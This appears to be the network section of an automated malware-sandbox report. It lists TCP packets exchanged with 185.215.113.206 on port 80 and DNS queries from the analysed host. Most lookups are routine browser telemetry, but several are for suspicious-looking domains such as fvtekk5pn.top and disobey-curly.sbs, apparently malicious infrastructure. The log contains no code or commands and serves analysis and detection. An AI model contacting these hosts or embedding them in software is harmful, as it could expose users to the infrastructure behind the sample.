Nov 23, 2024 15:22:44.265543938 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.265569925 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.265605927 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.265619993 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.266597986 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.266657114 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.266705990 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.266808987 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.267615080 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.267678022 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.267733097 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.267777920 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.268640041 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.268707037 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.268764019 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.268810987 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.269645929 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.269746065 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.269807100 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.270679951 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.270756006 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.270806074 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.270853996 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.271681070 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.271752119 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.271814108 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.271856070 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.272770882 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.272826910 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.272826910 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.272871017 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.273718119 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.273771048 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.273782969 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.273823023 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.274790049 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.274844885 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.274858952 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.274889946 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.275778055 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.275855064 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.275907040 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.276061058 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.276784897 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.276849985 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.276901960 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.276957035 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.277842045 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.277894974 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.277914047 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.277937889 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.278831005 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.278903008 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.278961897 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.279048920 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.279889107 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.280049086 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.280078888 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.280126095 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.280891895 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.280950069 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.281044006 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.281217098 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.281915903 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.281995058 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.282001019 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.282037020 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.347727060 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.347819090 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.347877026 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.347934008 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.348187923 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.348263025 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.348280907 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.348323107 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.349103928 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.349160910 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.349179029 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.349210024 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.349982023 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.350030899 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.350073099 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.350121975 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.350879908 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.350992918 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.351049900 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.351783037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.351881981 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.351943016 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.352684975 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.352758884 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.352787018 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.352835894 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.353560925 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.353640079 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.353645086 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.353698015 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.354471922 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.354549885 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.354588985 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.354756117 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.355375051 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.355447054 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.355496883 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.355561018 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.356251955 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.356353045 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.356406927 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.357137918 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.357213974 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.357242107 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.357290983 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.358057022 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.358118057 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.358160019 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.358206987 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.358938932 CET	80	49852	185.215.113.206	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 15:22:13.525516987 CET	192.168.2.4	1.1.1.1	0xe25c	Standard query (0)	disobey-curly.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:28.140779972 CET	192.168.2.4	1.1.1.1	0x98f1	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:47.546004057 CET	192.168.2.4	1.1.1.1	0x5613	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:47.546150923 CET	192.168.2.4	1.1.1.1	0x7354	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 15:22:51.147362947 CET	192.168.2.4	1.1.1.1	0x44eb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:51.147712946 CET	192.168.2.4	1.1.1.1	0x1b1c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 15:22:51.327589035 CET	192.168.2.4	1.1.1.1	0x4832	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:51.648277998 CET	192.168.2.4	1.1.1.1	0x9254	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:22:52.977741957 CET	192.168.2.4	1.1.1.1	0xea52	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:53.117399931 CET	192.168.2.4	1.1.1.1	0xf600	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:53.283271074 CET	192.168.2.4	1.1.1.1	0xa91b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:22:56.347254992 CET	192.168.2.4	1.1.1.1	0x2884	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:56.698474884 CET	192.168.2.4	1.1.1.1	0xefd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:22:56.837479115 CET	192.168.2.4	1.1.1.1	0xa163	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:11.365638018 CET	192.168.2.4	1.1.1.1	0x19b1	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:14.695163012 CET	192.168.2.4	1.1.1.1	0xcf99	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:14.695343971 CET	192.168.2.4	1.1.1.1	0x9863	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 15:23:16.631913900 CET	192.168.2.4	1.1.1.1	0x4b49	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:16.631994009 CET	192.168.2.4	1.1.1.1	0x8937	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:23:17.659972906 CET	192.168.2.4	1.1.1.1	0xde3b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:17.660130978 CET	192.168.2.4	1.1.1.1	0x86c	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 15:23:24.252532005 CET	192.168.2.4	1.1.1.1	0x6861	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:24.395776033 CET	192.168.2.4	1.1.1.1	0x1a19	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:24.625591993 CET	192.168.2.4	1.1.1.1	0x6a31	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.257884979 CET	192.168.2.4	1.1.1.1	0xb7b7	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.292639017 CET	192.168.2.4	1.1.1.1	0x730a	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.353842974 CET	192.168.2.4	1.1.1.1	0x5073	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.378489017 CET	192.168.2.4	1.1.1.1	0xc116	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.416649103 CET	192.168.2.4	1.1.1.1	0x69dd	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.494049072 CET	192.168.2.4	1.1.1.1	0xde87	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.498744011 CET	192.168.2.4	1.1.1.1	0x52f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.608659983 CET	192.168.2.4	1.1.1.1	0xe2bb	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:26.647764921 CET	192.168.2.4	1.1.1.1	0xa8ea	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:26.663590908 CET	192.168.2.4	1.1.1.1	0x6c7c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:26.754138947 CET	192.168.2.4	1.1.1.1	0x923b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.829241991 CET	192.168.2.4	1.1.1.1	0xb22a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.912441969 CET	192.168.2.4	1.1.1.1	0x9a8a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:26.920243979 CET	192.168.2.4	1.1.1.1	0xcf64	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.003766060 CET	192.168.2.4	1.1.1.1	0xed0a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:27.072371006 CET	192.168.2.4	1.1.1.1	0x9e32	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:27.192534924 CET	192.168.2.4	1.1.1.1	0xf009	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.252393961 CET	192.168.2.4	1.1.1.1	0x7a02	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:27.330662012 CET	192.168.2.4	1.1.1.1	0xd11d	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:27.390105009 CET	192.168.2.4	1.1.1.1	0xf5c1	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:27.663328886 CET	192.168.2.4	1.1.1.1	0xdfd5	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:28.012346983 CET	192.168.2.4	1.1.1.1	0x2356	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:29.599701881 CET	192.168.2.4	1.1.1.1	0xc6b0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.078772068 CET	192.168.2.4	1.1.1.1	0x9abb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.332439899 CET	192.168.2.4	1.1.1.1	0x9abb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.364015102 CET	192.168.2.4	1.1.1.1	0x3a2d	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.564196110 CET	192.168.2.4	1.1.1.1	0xde3b	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.564225912 CET	192.168.2.4	1.1.1.1	0x9784	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.626440048 CET	192.168.2.4	1.1.1.1	0x3a2d	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.703609943 CET	192.168.2.4	1.1.1.1	0x558a	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.703609943 CET	192.168.2.4	1.1.1.1	0xd912	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.780440092 CET	192.168.2.4	1.1.1.1	0x362e	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.841389894 CET	192.168.2.4	1.1.1.1	0x1f07	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:30.842122078 CET	192.168.2.4	1.1.1.1	0xd0c8	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:30.924489975 CET	192.168.2.4	1.1.1.1	0x4c71	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:30.980624914 CET	192.168.2.4	1.1.1.1	0x20a8	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:30.981482029 CET	192.168.2.4	1.1.1.1	0x5337	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.066699982 CET	192.168.2.4	1.1.1.1	0xab0e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.123029947 CET	192.168.2.4	1.1.1.1	0x37a8	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.198040962 CET	192.168.2.4	1.1.1.1	0xf511	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.206350088 CET	192.168.2.4	1.1.1.1	0x8aa5	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:31.346812010 CET	192.168.2.4	1.1.1.1	0xf98d	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 23, 2024 15:23:31.347516060 CET	192.168.2.4	1.1.1.1	0x9d0e	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:31.349360943 CET	192.168.2.4	1.1.1.1	0xa925	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:31.605788946 CET	192.168.2.4	1.1.1.1	0xa925	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:33.124299049 CET	192.168.2.4	1.1.1.1	0x287b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 15:23:33.142663002 CET	192.168.2.4	1.1.1.1	0xaa69	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.162107944 CET	192.168.2.4	1.1.1.1	0xfe2c	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.285254002 CET	192.168.2.4	1.1.1.1	0x8d6	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.413184881 CET	192.168.2.4	1.1.1.1	0xfe2c	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.435334921 CET	192.168.2.4	1.1.1.1	0x115a	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 23, 2024 15:23:33.495204926 CET	192.168.2.4	1.1.1.1	0xa9fc	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:33.544137001 CET	192.168.2.4	1.1.1.1	0x75d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:33.721318960 CET	192.168.2.4	1.1.1.1	0x6a51	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:42.514364004 CET	192.168.2.4	1.1.1.1	0xa309	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:42.514543056 CET	192.168.2.4	1.1.1.1	0xd0df	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:23:45.074104071 CET	192.168.2.4	1.1.1.1	0x820e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:45.219439983 CET	192.168.2.4	1.1.1.1	0xf489	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:23:45.578639030 CET	192.168.2.4	1.1.1.1	0xe0aa	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:23:45.578706980 CET	192.168.2.4	1.1.1.1	0x720f	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:23:58.426347017 CET	192.168.2.4	1.1.1.1	0x829b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:03.136286020 CET	192.168.2.4	1.1.1.1	0xefe2	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:24:06.852668047 CET	192.168.2.4	1.1.1.1	0x3433	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:06.993916035 CET	192.168.2.4	1.1.1.1	0xf197	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:24:15.970113993 CET	192.168.2.4	1.1.1.1	0x3ab1	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:15.970181942 CET	192.168.2.4	1.1.1.1	0x5d6e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:24:15.970279932 CET	192.168.2.4	1.1.1.1	0x3ab1	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:15.970321894 CET	192.168.2.4	1.1.1.1	0x5d6e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:24:15.992265940 CET	192.168.2.4	1.1.1.1	0x5d6e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:24:15.992425919 CET	192.168.2.4	1.1.1.1	0x3ab1	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.133445024 CET	192.168.2.4	1.1.1.1	0x97ab	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.133589983 CET	192.168.2.4	1.1.1.1	0x97ab	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.148200989 CET	192.168.2.4	1.1.1.1	0x97ab	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.288187981 CET	192.168.2.4	1.1.1.1	0x97d6	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:24:16.443856955 CET	192.168.2.4	1.1.1.1	0x867f	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.601356030 CET	192.168.2.4	1.1.1.1	0xd049	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:24:16.601402044 CET	192.168.2.4	1.1.1.1	0xbfb7	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 15:24:48.352895975 CET	192.168.2.4	1.1.1.1	0x8a0d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:24:49.653724909 CET	192.168.2.4	1.1.1.1	0xadd6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:04.627403975 CET	192.168.2.4	1.1.1.1	0xe51	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:26:05.854095936 CET	192.168.2.4	1.1.1.1	0xde4f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:09.726941109 CET	192.168.2.4	1.1.1.1	0x1a45	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:09.866451025 CET	192.168.2.4	1.1.1.1	0x538	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:10.009998083 CET	192.168.2.4	1.1.1.1	0x9fd9	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:26:27.230285883 CET	192.168.2.4	1.1.1.1	0xa38d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:41.962431908 CET	192.168.2.4	1.1.1.1	0x80ce	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:14.100357056 CET	192.168.2.4	1.1.1.1	0xb60e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:26.935123920 CET	192.168.2.4	1.1.1.1	0x8271	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:27.074923038 CET	192.168.2.4	1.1.1.1	0x41f8	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:28:28.273874044 CET	192.168.2.4	1.1.1.1	0xa008	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:28.523818970 CET	192.168.2.4	1.1.1.1	0xa008	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:51.355371952 CET	192.168.2.4	1.1.1.1	0xbbca	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:51.494785070 CET	192.168.2.4	1.1.1.1	0xc57b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:51.632810116 CET	192.168.2.4	1.1.1.1	0xa360	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 15:30:00.927237034 CET	192.168.2.4	1.1.1.1	0x107	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
